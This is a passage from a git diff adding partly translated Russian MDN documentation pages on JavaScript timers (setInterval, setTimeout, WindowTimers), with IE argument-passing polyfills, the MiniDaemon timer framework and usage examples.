+<p>As previously discussed, Internet Explorer versions 9 and below do not support the passing of arguments to the callback function in either <code>setTimeout()</code> or <code>setInterval()</code>. The following <strong>IE-specific</strong> code demonstrates a method for overcoming this limitation.  To use, simply add the following code to the top of your script.</p>
+
+<pre class="brush:js notranslate">/*\
+|*|
+|*|  IE-specific polyfill that enables the passage of arbitrary arguments to the
+|*|  callback functions of javascript timers (HTML5 standard syntax).
+|*|
+|*|  https://developer.mozilla.org/en-US/docs/Web/API/window.setInterval
+|*|  https://developer.mozilla.org/User:fusionchess
+|*|
+|*|  Syntax:
+|*|  var timeoutID = window.setTimeout(func, delay[, param1, param2, ...]);
+|*|  var timeoutID = window.setTimeout(code, delay);
+|*|  var intervalID = window.setInterval(func, delay[, param1, param2, ...]);
+|*|  var intervalID = window.setInterval(code, delay);
+|*|
+\*/
+
+if (document.all &amp;&amp; !window.setTimeout.isPolyfill) {
+  var __nativeST__ = window.setTimeout;
+  window.setTimeout = function (vCallback, nDelay /*, argumentToPass1, argumentToPass2, etc. */) {
+    var aArgs = Array.prototype.slice.call(arguments, 2);
+    return __nativeST__(vCallback instanceof Function ? function () {
+      vCallback.apply(null, aArgs);
+    } : vCallback, nDelay);
+  };
+  window.setTimeout.isPolyfill = true;
+}
+
+if (document.all &amp;&amp; !window.setInterval.isPolyfill) {
+  var __nativeSI__ = window.setInterval;
+  window.setInterval = function (vCallback, nDelay /*, argumentToPass1, argumentToPass2, etc. */) {
+    var aArgs = Array.prototype.slice.call(arguments, 2);
+    return __nativeSI__(vCallback instanceof Function ? function () {
+      vCallback.apply(null, aArgs);
+    } : vCallback, nDelay);
+  };
+  window.setInterval.isPolyfill = true;
+}
+</pre>
+
+<p>Another possibility is to use an anonymous function to call your callback, although this solution is a bit more expensive. Example:</p>
+
+<pre class="brush:js notranslate">var intervalID = setInterval(function() { myFunc('one', 'two', 'three'); }, 1000);</pre>
+
+<p>Another possibility is to use <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function/bind">function's bind</a>. Example:</p>
+
+<pre class="brush:js notranslate">var intervalID = setInterval(function(arg1) {}.bind(undefined, 10), 1000);</pre>
+
+<p>{{h3_gecko_minversion("Inactive tabs", "5.0")}}</p>
+
+<p>Starting in Gecko 5.0 {{geckoRelease("5.0")}}, intervals are clamped to fire no more often than once per second in inactive tabs.</p>
+
+<h2 id="Проблема_с_this">Проблема с "<a href="/en-US/docs/Web/JavaScript/Reference/Operators/this"><code>this</code></a>"</h2>
+
+<p>When you pass a method to <code>setInterval()</code> or any other function, it is invoked with the wrong <a href="/en-US/docs/Web/JavaScript/Reference/Operators/this"><code>this</code></a> value. This problem is explained in detail in the <a href="/en-US/docs/Web/JavaScript/Reference/Operators/this#As_an_object_method">JavaScript reference</a>.</p>
+
+<h3 id="Объяснение">Объяснение</h3>
+
+<p>Code executed by <code>setInterval()</code> runs in a separate execution context than the function from which it was called. As a consequence, the <a href="/en-US/docs/Web/JavaScript/Reference/Operators/this"><code>this</code></a> keyword for the called function is set to the <code>window</code> (or <code>global</code>) object, it is not the same as the <code>this</code> value for the function that called <code>setTimeout</code>. See the following example (which uses <code>setTimeout()</code> instead of <code>setInterval()</code> – the problem, in fact, is the same for both timers):</p>
+
+<pre class="brush:js notranslate">myArray = ['zero', 'one', 'two'];
+
+myArray.myMethod = function (sProperty) {
+    alert(arguments.length &gt; 0 ? this[sProperty] : this);
+};
+
+myArray.myMethod(); // prints "zero,one,two"
+myArray.myMethod(1); // prints "one"
+setTimeout(myArray.myMethod, 1000); // prints "[object Window]" after 1 second
+setTimeout(myArray.myMethod, 1500, "1"); // prints "undefined" after 1,5 seconds
+// passing the 'this' object with .call won't work
+// because this will change the value of this inside setTimeout itself
+// while we want to change the value of this inside myArray.myMethod
+// in fact, it will be an error because setTimeout code expects this to be the window object:
+setTimeout.call(myArray, myArray.myMethod, 2000); // error: "NS_ERROR_XPC_BAD_OP_ON_WN_PROTO: Illegal operation on WrappedNative prototype object"
+setTimeout.call(myArray, myArray.myMethod, 2500, 2); // same error
+</pre>
+
+<p>As you can see there are no ways to pass the <code>this</code> object to the callback function in the legacy JavaScript.</p>
+
+<h3 id="Возможное_решение">Возможное решение</h3>
+
+<p>A possible way to solve the "<code>this</code>" problem is to replace the two native <code>setTimeout()</code> or <code>setInterval()</code> global functions with two <em>non-native</em> ones that enable their invocation through the <a href="/en-US/docs/JavaScript/Reference/Global_Objects/Function/call"><code>Function.prototype.call</code></a> method. The following example shows a possible replacement:</p>
+
+<pre class="brush:js notranslate">// Enable the passage of the 'this' object through the JavaScript timers
+
+var __nativeST__ = window.setTimeout, __nativeSI__ = window.setInterval;
+
+window.setTimeout = function (vCallback, nDelay /*, argumentToPass1, argumentToPass2, etc. */) {
+  var oThis = this, aArgs = Array.prototype.slice.call(arguments, 2);
+  return __nativeST__(vCallback instanceof Function ? function () {
+    vCallback.apply(oThis, aArgs);
+  } : vCallback, nDelay);
+};
+
+window.setInterval = function (vCallback, nDelay /*, argumentToPass1, argumentToPass2, etc. */) {
+  var oThis = this, aArgs = Array.prototype.slice.call(arguments, 2);
+  return __nativeSI__(vCallback instanceof Function ? function () {
+    vCallback.apply(oThis, aArgs);
+  } : vCallback, nDelay);
+};</pre>
+
+<div class="note">These two replacements also enable the HTML5 standard passage of arbitrary arguments to the callback functions of timers in IE. So they can be used as <em>non-standard-compliant</em> polyfills also. See the <a href="#Callback_arguments">callback arguments paragraph</a> for a <em>standard-compliant</em> polyfill.</div>
+
+<p>Новое тестируемое свойство:</p>
+
+<pre class="brush:js notranslate">myArray = ['zero', 'one', 'two'];
+
+myArray.myMethod = function (sProperty) {
+    alert(arguments.length &gt; 0 ? this[sProperty] : this);
+};
+
+setTimeout(alert, 1500, 'Hello world!'); // the standard use of setTimeout and setInterval is preserved, but...
+setTimeout.call(myArray, myArray.myMethod, 2000); // prints "zero,one,two" after 2 seconds
+setTimeout.call(myArray, myArray.myMethod, 2500, 2); // prints "two" after 2,5 seconds
+</pre>
+
+<p>Another, more complex, solution for<strong> </strong>the <a href="/en-US/docs/Web/JavaScript/Reference/Operators/this"><code>this</code></a> problem<strong> </strong>is <a href="#A_little_framework">the following framework</a>.</p>
+
+<div class="note">JavaScript 1.8.5 introduces the <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function/bind">Function.prototype.bind()</a></code> method, which lets you specify the value that should be used as <code>this</code> for all calls to a given function. This lets you easily bypass problems where it's unclear what this will be, depending on the context from which your function was called. Also, ES2015 supports <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Functions/Arrow_functions">arrow functions</a>, with lexical this allowing us to write setInterval( () =&gt; this.myMethod) if we're inside myArray method.</div>
+
+<h2 id="MiniDaemon_-_фреймворд_для_упраления_таймерами">MiniDaemon - фреймворд для упраления таймерами</h2>
+
+<p>In pages requiring many timers, it can often be difficult to keep track of all of the running timer events. One approach to solving this problem is to store information about the state of a timer in an object. Following is a minimal example of such an abstraction. The constructor architecture explicitly avoids the use of closures. It also offers an alternative way to pass the <a href="/en-US/docs/Web/JavaScript/Reference/Operators/this"><code>this</code></a> object to the callback function (see <a href="#The_.22this.22_problem">The "this" problem</a> for details). The following code is also <a href="https://github.com/madmurphy/minidaemon.js">available on GitHub</a>.</p>
+
+<div class="note">For a more complex but still modular version of it (<code><em>Daemon</em></code>) see <a href="/en-US/Add-ons/Code_snippets/Timers/Daemons">JavaScript Daemons Management</a>. This more complex version is nothing but a big and scalable collection of methods for the <code><em>Daemon</em></code> constructor. However, the <code><em>Daemon</em></code> constructor itself is nothing but a clone of <code><em>MiniDaemon</em></code> with an added support for <em>init</em> and <em>onstart</em> functions declarable during the instantiation of the <code><em>daemon</em></code>. <strong>So the <code><em>MiniDaemon</em></code> framework remains the recommended way for simple animations</strong>, because <code><em>Daemon</em></code> without its collection of methods is essentially a clone of it.</div>
+
+<h3 id="minidaemon.js">minidaemon.js</h3>
+
+<pre class="brush:js notranslate">/*\
+|*|
+|*|  :: MiniDaemon ::
+|*|
+|*|  Revision #2 - September 26, 2014
+|*|
+|*|  https://developer.mozilla.org/en-US/docs/Web/API/window.setInterval
+|*|  https://developer.mozilla.org/User:fusionchess
+|*|  https://github.com/madmurphy/minidaemon.js
+|*|
+|*|  This framework is released under the GNU Lesser General Public License, version 3 or later.
+|*|  http://www.gnu.org/licenses/lgpl-3.0.html
+|*|
+\*/
+
+function MiniDaemon (oOwner, fTask, nRate, nLen) {
+  if (!(this &amp;&amp; this instanceof MiniDaemon)) { return; }
+  if (arguments.length &lt; 2) { throw new TypeError('MiniDaemon - not enough arguments'); }
+  if (oOwner) { this.owner = oOwner; }
+  this.task = fTask;
+  if (isFinite(nRate) &amp;&amp; nRate &gt; 0) { this.rate = Math.floor(nRate); }
+  if (nLen &gt; 0) { this.length = Math.floor(nLen); }
+}
+
+MiniDaemon.prototype.owner = null;
+MiniDaemon.prototype.task = null;
+MiniDaemon.prototype.rate = 100;
+MiniDaemon.prototype.length = Infinity;
+
+  /* These properties should be read-only */
+
+MiniDaemon.prototype.SESSION = -1;
+MiniDaemon.prototype.INDEX = 0;
+MiniDaemon.prototype.PAUSED = true;
+MiniDaemon.prototype.BACKW = true;
+
+  /* Global methods */
+
+MiniDaemon.forceCall = function (oDmn) {
+  oDmn.INDEX += oDmn.BACKW ? -1 : 1;
+  if (oDmn.task.call(oDmn.owner, oDmn.INDEX, oDmn.length, oDmn.BACKW) === false || oDmn.isAtEnd()) { oDmn.pause(); return false; }
+  return true;
+};
+
+  /* Instances methods */
+
+MiniDaemon.prototype.isAtEnd = function () {
+  return this.BACKW ? isFinite(this.length) &amp;&amp; this.INDEX &lt; 1 : this.INDEX + 1 &gt; this.length;
+};
+
+MiniDaemon.prototype.synchronize = function () {
+  if (this.PAUSED) { return; }
+  clearInterval(this.SESSION);
+  this.SESSION = setInterval(MiniDaemon.forceCall, this.rate, this);
+};
+
+MiniDaemon.prototype.pause = function () {
+  clearInterval(this.SESSION);
+  this.PAUSED = true;
+};
+
+MiniDaemon.prototype.start = function (bReverse) {
+  var bBackw = Boolean(bReverse);
+  if (this.BACKW === bBackw &amp;&amp; (this.isAtEnd() || !this.PAUSED)) { return; }
+  this.BACKW = bBackw;
+  this.PAUSED = false;
+  this.synchronize();
+};
+</pre>
+
+<div class="note">MiniDaemon passes arguments to the callback function. If you want to work on it with browsers that natively do not support this feature, use one of the methods proposed above.</div>
+
+<h3 id="Синтаксис_2">Синтаксис</h3>
+
+<p><code>var myDaemon = new MiniDaemon(<em>thisObject</em>, <em>callback</em>[</code><code>, <em>rate</em></code><code>[, <em>length</em>]]);</code></p>
+
+<h3 id="Описание">Описание</h3>
+
+<p>Returns a JavaScript <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object"><code>Object</code></a> containing all information needed by an animation (like the <a href="/en-US/docs/Web/JavaScript/Reference/Operators/this"><code>this</code></a> object, the callback function, the length, the frame-rate).</p>
+
+<h4 id="Параметры_2">Параметры</h4>
+
+<dl>
+ <dt><code>thisObject</code></dt>
+ <dd>The <a href="/en-US/docs/Web/JavaScript/Reference/Operators/this"><code>this</code></a> object on which the <em>callback</em> function is called. It can be an <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object"><code>object</code></a> or <code>null</code>.</dd>
+ <dt><code>callback</code></dt>
+ <dd>The function that is repeatedly invoked . <strong>It is called with three parameters</strong>: <em>index</em> (the iterative index of each invocation), <em>length</em> (the number of total invocations assigned to the <em>daemon</em> - finite or <a href="/en-US/docs/JavaScript/Reference/Global_Objects/Infinity"><code>Infinity</code></a>) and <em>backwards</em> (a boolean expressing whether the <em>index</em> is increasing or decreasing). It is something like <em>callback</em>.call(<em>thisObject</em>, <em>index</em>, <em>length</em>, <em>backwards</em>). <strong>If the callback function returns a <code>false</code> value the <em>daemon</em> is paused</strong>.</dd>
+ <dt><code>rate (optional)</code></dt>
+ <dd>The time lapse (in number of milliseconds) between each invocation. The default value is 100.</dd>
+ <dt><code>length (optional)</code></dt>
+ <dd>The total number of invocations. It can be a positive integer or <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Infinity"><code>Infinity</code></a>. The default value is <code>Infinity</code>.</dd>
+</dl>
+
+<h4 id="MiniDaemon_instances_properties"><code>MiniDaemon</code> instances properties</h4>
+
+<dl>
+ <dt><code>myDaemon.owner</code></dt>
+ <dd>The <a href="/en-US/docs/Web/JavaScript/Reference/Operators/this"><code>this</code></a> object on which is executed the daemon (read/write). It can be an <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object"><code>object</code></a> or <code>null</code>.</dd>
+ <dt><code>myDaemon.task</code></dt>
+ <dd>The function that is repeatedly invoked (read/write). It is called with three arguments: <em>index</em> (the iterative index of each invocation), <em>length</em> (the number of total invocations assigned to the daemon - finite or <a href="/en-US/docs/JavaScript/Reference/Global_Objects/Infinity"><code>Infinity</code></a>) and backwards (a boolean expressing whether the <em>index</em> is decreasing or not) – see above. If the <code>myDaemon.task</code> function returns a <code>false</code> value the <em>daemon</em> is paused.</dd>
+ <dt><code>myDaemon.rate</code></dt>
+ <dd>Промежуток времени (в миллисекундах) между каждым вызовом (чтение / запись).</dd>
+ <dt><code>myDaemon.length</code></dt>
+ <dd>Итоговое количество вызовов. Это может быть положительное целое число или бесконечность <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Infinity"><code>Infinity</code></a> (чтение / запись).</dd>
+</dl>
+
+<h4 id="MiniDaemon_instances_methods"><code>MiniDaemon</code> instances methods</h4>
+
+<dl>
+ <dt><code>myDaemon.isAtEnd()</code></dt>
+ <dd>Возвращает логическое значение (true или false), в зависимости от того, находится ли <em>daemon</em> в начальной / конечной позиции или нет.  </dd>
+ <dt><code>myDaemon.synchronize()</code></dt>
+ <dd>Synchronize the timer of a started daemon with the time of its invocation.</dd>
+ <dt><code>myDaemon.pause()</code></dt>
+ <dd>Pauses the daemon.</dd>
+ <dt><code>myDaemon.start([<em>reverse</em>])</code></dt>
+ <dd>Starts the daemon forward (<em>index</em> of each invocation increasing) or backwards (<em>index</em> decreasing).</dd>
+</dl>
+
+<h4 id="MiniDaemon_global_object_methods"><code>MiniDaemon</code> global object methods</h4>
+
+<dl>
+ <dt><code>MiniDaemon.forceCall(<em>minidaemon</em>)</code></dt>
+ <dd>Forces a single callback to the <code><em>minidaemon</em>.task</code> function regardless of the fact that the end has been reached or not. In any case the internal <code>INDEX</code> property is increased/decreased (depending on the actual direction of the process).</dd>
+</dl>
+
+<h3 id="Пример_использования">Пример использования</h3>
+
+<p>Ваша HTML страница:</p>
+
+<pre class="brush:html notranslate">&lt;!DOCTYPE html&gt;
+&lt;html&gt;
+&lt;head&gt;
+  &lt;meta charset="UTF-8" /&gt;
+  &lt;title&gt;MiniDaemin Example - MDN&lt;/title&gt;
+  &lt;script type="text/javascript" src="minidaemon.js"&gt;&lt;/script&gt;
+  &lt;style type="text/css"&gt;
+    #sample_div {
+      visibility: hidden;
+    }
+  &lt;/style&gt;
+&lt;/head&gt;
+
+&lt;body&gt;
+  &lt;p&gt;
+    &lt;input type="button" onclick="fadeInOut.start(false /* optional */);" value="fade in" /&gt;
+    &lt;input type="button" onclick="fadeInOut.start(true);" value="fade out"&gt;
+    &lt;input type="button" onclick="fadeInOut.pause();" value="pause" /&gt;
+  &lt;/p&gt;
+
+  &lt;div id="sample_div"&gt;Some text here&lt;/div&gt;
+
+  &lt;script type="text/javascript"&gt;
+    function opacity (nIndex, nLength, bBackwards) {
+      this.style.opacity = nIndex / nLength;
+      if (bBackwards ? nIndex === 0 : nIndex === 1) {
+        this.style.visibility = bBackwards ? 'hidden' : 'visible';
+      }
+    }
+
+    var fadeInOut = new MiniDaemon(document.getElementById('sample_div'), opacity, 300, 8);
+  &lt;/script&gt;
+&lt;/body&gt;
+&lt;/html&gt;</pre>
+
+<p><a href="/files/3995/minidaemon_example.html" title="MiniDaemon Example">View this example in action</a></p>
+
+<h2 id="Примечания">Примечания</h2>
+
+<p>The <code>setInterval()</code> function is commonly used to set a delay for functions that are executed again and again, such as animations.</p>
+
+<p>You can cancel the interval using {{domxref("WindowOrWorkerGlobalScope.clearInterval()")}}.</p>
+
+<p>If you wish to have your function called <em>once</em> after the specified delay, use {{domxref("WindowOrWorkerGlobalScope.setTimeout()")}}.</p>
+
+<h3 id="Ensure_that_execution_duration_is_shorter_than_interval_frequency">Ensure that execution duration is shorter than interval frequency</h3>
+
+<p>If there is a possibility that your logic could take longer to execute than the interval time, it is recommended that you recursively call a named function using {{domxref("WindowOrWorkerGlobalScope.setTimeout")}}. For example, if using <code>setInterval</code> to poll a remote server every 5 seconds, network latency, an unresponsive server, and a host of other issues could prevent the request from completing in its allotted time. As such, you may find yourself with queued up XHR requests that won't necessarily return in order.</p>
+
+<p>In these cases, a recursive <code>setTimeout()</code> pattern is preferred:</p>
+
+<pre class="brush:js notranslate">(function loop(){
+   setTimeout(function() {
+      // Your logic here
+
+      loop();
+  }, delay);
+})();
+</pre>
+
+<p>In the above snippet, a named function <code>loop()</code> is declared and is immediately executed. <code>loop()</code> is recursively called inside <code>setTimeout()</code> after the logic has completed executing. While this pattern does not guarantee execution on a fixed interval, it does guarantee that the previous interval has completed before recursing.</p>
+
+<h3 id="Throttling_of_intervals">Throttling of intervals</h3>
+
+<p><code>setInterval()</code> is subject to the same throttling restrictions in Firefox as {{domxref("WindowOrWorkerGlobalScope.setTimeout","setTimeout()")}}; see <a href="/en-US/docs/Web/API/WindowOrWorkerGlobalScope/setTimeout#Reasons_for_delays_longer_than_specified">Reasons for delays longer than specified</a>.</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th>Specification</th>
+   <th>Status</th>
+   <th>Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'webappapis.html#dom-setinterval', 'WindowOrWorkerGlobalScope.setInterval()')}}</td>
+   <td>{{Spec2("HTML WHATWG")}}</td>
+   <td>Method moved to the <code>WindowOrWorkerGlobalScope</code> mixin in the latest spec.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("HTML WHATWG", "webappapis.html#dom-setinterval", "WindowTimers.setInterval()")}}</td>
+   <td>{{Spec2("HTML WHATWG")}}</td>
+   <td>Initial definition (DOM Level 0)</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<div>
+
+
+<p>{{Compat("api.WindowOrWorkerGlobalScope.setInterval")}}</p>
+</div>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="/en-US/Add-ons/Code_snippets/Timers">JavaScript timers</a></li>
+ <li>{{domxref("WindowOrWorkerGlobalScope.setTimeout")}}</li>
+ <li>{{domxref("WindowOrWorkerGlobalScope.clearTimeout")}}</li>
+ <li>{{domxref("WindowOrWorkerGlobalScope.clearInterval")}}</li>
+ <li>{{domxref("window.requestAnimationFrame")}}</li>
+ <li><a href="/en-US/Add-ons/Code_snippets/Timers/Daemons"><em>Daemons</em> management</a></li>
+</ul>
+
+<div id="simple-translate">
+<div>
+<div class="simple-translate-button isShow" style="height: 22px; width: 22px; top: 1554px; left: 525px;"></div>
+
+<div class="simple-translate-panel " style="width: 300px; height: 200px; top: 0px; left: 0px; font-size: 13px; background-color: rgb(255, 255, 255);">
+<div class="simple-translate-result-wrapper" style="overflow: hidden;">
+<div class="simple-translate-move"></div>
+
+<div class="simple-translate-result-contents">
+<p class="simple-translate-result" style="color: rgb(0, 0, 0);"></p>
+
+<p class="simple-translate-candidate" style="color: rgb(115, 115, 115);"></p>
+</div>
+</div>
+</div>
+</div>
+</div>
diff --git a/files/ru/web/api/windowtimers/index.html b/files/ru/web/api/windowtimers/index.html
new file mode 100644
index 0000000000..d54cc1b3e5
--- /dev/null
+++ b/files/ru/web/api/windowtimers/index.html
@@ -0,0 +1,119 @@
+---
+title: WindowTimers
+slug: Web/API/WindowTimers
+tags:
+  - API
+  - HTML DOM
+translation_of: Web/API/WindowOrWorkerGlobalScope
+---
+<div>{{APIRef("HTML DOM")}}</div>
+
+<p><code><strong>WindowTimers</strong></code> contains utility methods to set and clear timers.</p>
+
+<p>There is no object of this type, though the context object, either the {{domxref("Window")}} for regular browsing scope, or the {{domxref("WorkerGlobalScope")}}  for workers, implements it.</p>
+
+<h2 id="Properties">Properties</h2>
+
+<p><em>This interface do not define any property, nor inherit any.</em></p>
+
+<h2 id="Methods">Methods</h2>
+
+<p><em>This interface do not inherit any method.</em></p>
+
+<dl>
+ <dt>{{domxref("WindowTimers.clearInterval()")}}</dt>
+ <dd>Cancels the repeated execution set using {{domxref("WindowTimers.setInterval()")}}.</dd>
+ <dt>{{domxref("WindowTimers.clearTimeout()")}}</dt>
+ <dd>Cancels the repeated execution set using {{domxref("WindowTimers.setTimeout()")}}.</dd>
+ <dt>{{domxref("WindowTimers.setInterval()")}}</dt>
+ <dd>Schedules the execution of a function each X milliseconds.</dd>
+ <dt>{{domxref("WindowTimers.setTimeout()")}}</dt>
+ <dd>Sets a delay for executing a function.</dd>
+</dl>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', '#windowtimers', 'WindowTimers')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>No change since the latest snapshot, {{SpecName("HTML5.1")}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5.1', '#windowtimers', 'WindowTimers')}}</td>
+   <td>{{Spec2('HTML5.1')}}</td>
+   <td>Snapshot of {{SpecName("HTML WHATWG")}}. No change.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("HTML5 W3C", "#windowtimers", "WindowTimers")}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Snapshot of {{SpecName("HTML WHATWG")}}. Creation of <code>WindowBase64</code> (properties where on the target before it).</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Firefox (Gecko)</th>
+   <th>Chrome</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatGeckoDesktop(1)}}</td>
+   <td>1.0</td>
+   <td>4.0</td>
+   <td>4.0</td>
+   <td>1.0</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Android</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatGeckoMobile(1)}}</td>
+   <td rowspan="1">{{CompatVersionUnknown}}</td>
+   <td rowspan="1">{{CompatVersionUnknown}}</td>
+   <td rowspan="1">{{CompatVersionUnknown}}</td>
+   <td rowspan="1">{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p> </p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{domxref("Window")}}, {{domxref("WorkerGlobalScope")}}, {{domxref("DedicatedWorkerGlobalScope")}}, {{domxref("SharedWorkerGlobalScope")}}, and {{domxref("ServiceWorkerGlobalScope")}}</li>
+</ul>
diff --git a/files/ru/web/api/windowtimers/settimeout/index.html b/files/ru/web/api/windowtimers/settimeout/index.html
new file mode 100644
index 0000000000..9e39020215
--- /dev/null
+++ b/files/ru/web/api/windowtimers/settimeout/index.html
@@ -0,0 +1,260 @@
+---
+title: WindowTimers.setTimeout()
+slug: Web/API/WindowTimers/setTimeout
+translation_of: Web/API/WindowOrWorkerGlobalScope/setTimeout
+---
+<div>{{ APIRef() }}</div>
+
+<h2 id="Summary" name="Summary">Краткое изложение</h2>
+
+<p>Вызов функции или выполнение фрагмента кода после указанной задержки.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox notranslate"><em>var timeoutID</em> = window.setTimeout(<em>func</em>, [, <em>delay</em>, <em>param1</em>, <em>param2</em>, ...]);
+<em>var timeoutID</em> = window.setTimeout(<em>code </em>[, <em>delay]</em>);
+</pre>
+
+<p>где</p>
+
+<ul>
+ <li><code>timeoutID -</code> это <em>числовой</em> ID, который может быть использован позже с {{domxref("window.clearTimeout()")}}.</li>
+ <li><code>func -</code> это <a href="/en-US/docs/JavaScript/Reference/Global_Objects/Function" title="en-US/docs/Core_JavaScript_1.5_Reference/Global_Objects/Function">функция</a>, которую требуется вызвать после <code>delay</code> миллисекунд.</li>
+ <li><code>code</code> - в альтернативном варианте применения это строка, содержащая код, который вы хотите выполнить после <code>delay</code> миллисекунд (использовать этот метод <strong>не рекомендуется</strong> по тем же причинам, что и <a href="/en-US/docs/JavaScript/Reference/Global_Objects/eval#Don%27t_use_eval!" title="en-US/docs/Core JavaScript 1.5 Reference/Global Functions/Eval#Don't use eval!">eval()</a>)</li>
+ <li><code>delay</code>  {{optional_inline}} -  задержка в миллисекундах (тысячных долях секунды), после которой будет выполнен вызов функции. Реальная задержка может быть больше; см. {{anch("Notes")}} ниже.</li>
+</ul>
+
+<p>Необходимо принять во внимание, что передача дополнительных параметров функции в первом варианте не работает в Internet Explorer 9 и ниже. Для использования этого функционала в таких браузерах, необходимо использовать код для совместимости (см. раздел <a href="#Аргументы_функции_обратного_вызова">Аргументы функции обратного вызова</a>).</p>
+
+<div class="warning"><strong>Important:</strong> Prior to Gecko 13 {{ geckoRelease("13.0") }}, Gecko passed an extra parameter to the callback routine, indicating the "actual lateness" of the timeout in milliseconds. This non-standard parameter is no longer passed.</div>
+
+<h2 id="Example" name="Example">Пример</h2>
+
+<p>В следующем примере на веб странице создаются две простые кнопки, к которым привязываются действия setTimeout и clearTimeout. Нажатие на первую кнопку установит таймаут, который вызовет диалоговое окно через две секунды. Также будет сохранен id для clearTimeout. Таймаут также может быть отменен по нажатию на вторую кнопку.</p>
+
+<h3 id="HTML_Content">HTML Content</h3>
+
+<pre class="brush: html notranslate">&lt;p&gt;Live Example&lt;/p&gt;
+&lt;button onclick="delayedAlert();"&gt;Show an alert box after two seconds&lt;/button&gt;
+&lt;p&gt;&lt;/p&gt;
+&lt;button onclick="clearAlert();"&gt;Cancel alert before it happens&lt;/button&gt;
+</pre>
+
+<h3 id="JavaScript_Content">JavaScript Content</h3>
+
+<pre class="brush: js notranslate">var timeoutID;
+
+function delayedAlert() {
+  timeoutID = window.setTimeout(slowAlert, 2000);
+}
+
+function slowAlert() {
+  alert("That was really slow!");
+}
+
+function clearAlert() {
+  window.clearTimeout(timeoutID);
+}
+</pre>
+
+<p>{{ EmbedLiveSample('Example') }}</p>
+
+<p>Смотрите также <a href="/en-US/docs/DOM/window.clearTimeout#Example" title="en-US/docs/DOM/window.clearTimeout#Example"><code>пример clearTimeout()</code></a>.</p>
+
+<h2 id="Аргументы_функции_обратного_вызова">Аргументы функции обратного вызова</h2>
+
+<p>Если вам нужно передать аргумент в вашу callback функцию, но нужно, чтобы это работало в Internet Explorer 9 и ниже, который не поддерживает передачу дополнительных параметров (ни с <code>setTimeout()</code> или <code>setInterval()</code>), то вы можете прописать специальный код для <em>совместимости с IE, </em><span class="VIiyi" lang="ru"><span class="ChMk0b JLqJ4b"><span>вставив этот код в начало ваших скриптов</span></span></span>, <span class="VIiyi" lang="ru"><span class="ChMk0b JLqJ4b"><span>который включит функцию передачи стандартных параметров HTML5 в </span></span></span>Internet Explorer<span class="VIiyi" lang="ru"><span class="ChMk0b JLqJ4b"><span> для обоих таймеров</span></span></span>.</p>
+
+<pre class="brush: js notranslate">/*\
+|*|
+|*|  IE-specific polyfill which enables the passage of arbitrary arguments to the
+|*|  callback functions of JavaScript timers (HTML5 standard syntax).
+|*|
+|*|  https://developer.mozilla.org/en-US/docs/DOM/window.setInterval
+|*|
+|*|  Syntax:
+|*|  var timeoutID = window.setTimeout(func, delay, [param1, param2, ...]);
+|*|  var timeoutID = window.setTimeout(code, delay);
+|*|  var intervalID = window.setInterval(func, delay[, param1, param2, ...]);
+|*|  var intervalID = window.setInterval(code, delay);
+|*|
+\*/
+
+if (document.all &amp;&amp; !window.setTimeout.isPolyfill) {
+  var __nativeST__ = window.setTimeout;
+  window.setTimeout = function (vCallback, nDelay /*, argumentToPass1, argumentToPass2, etc. */) {
+    var aArgs = Array.prototype.slice.call(arguments, 2);
+    return __nativeST__(vCallback instanceof Function ? function () {
+      vCallback.apply(null, aArgs);
+    } : vCallback, nDelay);
+  };
+  window.setTimeout.isPolyfill = true;
+}
+
+if (document.all &amp;&amp; !window.setInterval.isPolyfill) {
+  var __nativeSI__ = window.setInterval;
+  window.setInterval = function (vCallback, nDelay /*, argumentToPass1, argumentToPass2, etc. */) {
+    var aArgs = Array.prototype.slice.call(arguments, 2);
+    return __nativeSI__(vCallback instanceof Function ? function () {
+      vCallback.apply(null, aArgs);
+    } : vCallback, nDelay);
+  };
+  window.setInterval.isPolyfill = true;
+}
+</pre>
+
+<h2 id="Правка_только_для_IE">Правка только для IE</h2>
+
+<p>If you want a completely unobtrusive hack for every other mobile or desktop browser, including IE 9 and below, you can either use JavaScript conditional comments:</p>
+
+<pre class="brush: js notranslate">/*@cc_on
+  // conditional IE &lt; 9 only fix
